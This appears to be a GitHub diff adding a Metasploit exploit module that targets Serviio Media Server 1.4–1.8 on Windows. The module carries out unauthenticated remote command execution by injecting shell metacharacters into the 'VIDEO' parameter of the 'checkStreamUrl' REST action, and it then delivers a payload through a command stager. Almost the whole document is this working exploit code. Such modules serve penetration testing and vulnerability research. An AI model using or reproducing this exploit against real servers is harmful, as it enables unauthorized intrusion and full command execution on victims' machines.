|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] } |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Serviio Media Server checkStreamUrl Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an unauthenticated remote command execution vulnerability |
| 19 | + in the console component of Serviio Media Server versions 1.4 to 1.8 on |
| 20 | + Windows operating systems. |
| 21 | +
|
| 22 | + The console service (on port 23423 by default) exposes a REST API which |
| 23 | + which does not require authentication. |
| 24 | +
|
| 25 | + The 'action' API endpoint does not sufficiently sanitize user-supplied data |
| 26 | + in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is |
| 27 | + used in a call to cmd.exe resulting in execution of arbitrary commands. |
| 28 | +
|
| 29 | + This module has been tested successfully on Serviio Media Server versions |
| 30 | + 1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7. |
| 31 | + }, |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'Author' => |
| 34 | + [ |
| 35 | + 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit |
| 36 | + 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit |
| 37 | + ], |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + ['OSVDB', '41961'], |
| 41 | + ['PACKETSTORM', '142387'], |
| 42 | + ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'], |
| 43 | + ['URL', 'https://blogs.securiteam.com/index.php/archives/3094'] |
| 44 | + ], |
| 45 | + 'Platform' => 'win', |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['Automatic Targeting', { 'auto' => true }] |
| 49 | + ], |
| 50 | + 'Privileged' => true, |
| 51 | + 'DisclosureDate' => 'May 3 2017', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + register_options([ Opt::RPORT(23423) ]) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + res = execute_command('') |
| 58 | + |
| 59 | + unless res |
| 60 | + vprint_status 'Connection failed' |
| 61 | + return CheckCode::Unknown |
| 62 | + end |
| 63 | + |
| 64 | + if res.headers['Server'] !~ /Serviio/ |
| 65 | + vprint_status 'Target is not a Serviio Media Server' |
| 66 | + return CheckCode::Safe |
| 67 | + end |
| 68 | + |
| 69 | + if res.headers['Server'] !~ /Windows/ |
| 70 | + vprint_status 'Target operating system is not vulnerable' |
| 71 | + return CheckCode::Safe |
| 72 | + end |
| 73 | + |
| 74 | + if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>} |
| 75 | + vprint_status 'Unexpected reply' |
| 76 | + return CheckCode::Safe |
| 77 | + end |
| 78 | + |
| 79 | + if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])} |
| 80 | + vprint_status "#{peer} Serviio Media Server version #{$1}" |
| 81 | + return CheckCode::Appears |
| 82 | + end |
| 83 | + |
| 84 | + CheckCode::Safe |
| 85 | + end |
| 86 | + |
| 87 | + def execute_command(cmd, opts = {}) |
| 88 | + data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] } |
| 89 | + send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'), |
| 90 | + 'method' => 'POST', |
| 91 | + 'ctype' => 'application/json', |
| 92 | + 'data' => data.to_json) |
| 93 | + end |
| 94 | + |
| 95 | + def exploit |
| 96 | + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears |
| 97 | + execute_cmdstager(:temp => '.', :linemax => 8000) |
| 98 | + end |
| 99 | +end |
0 commit comments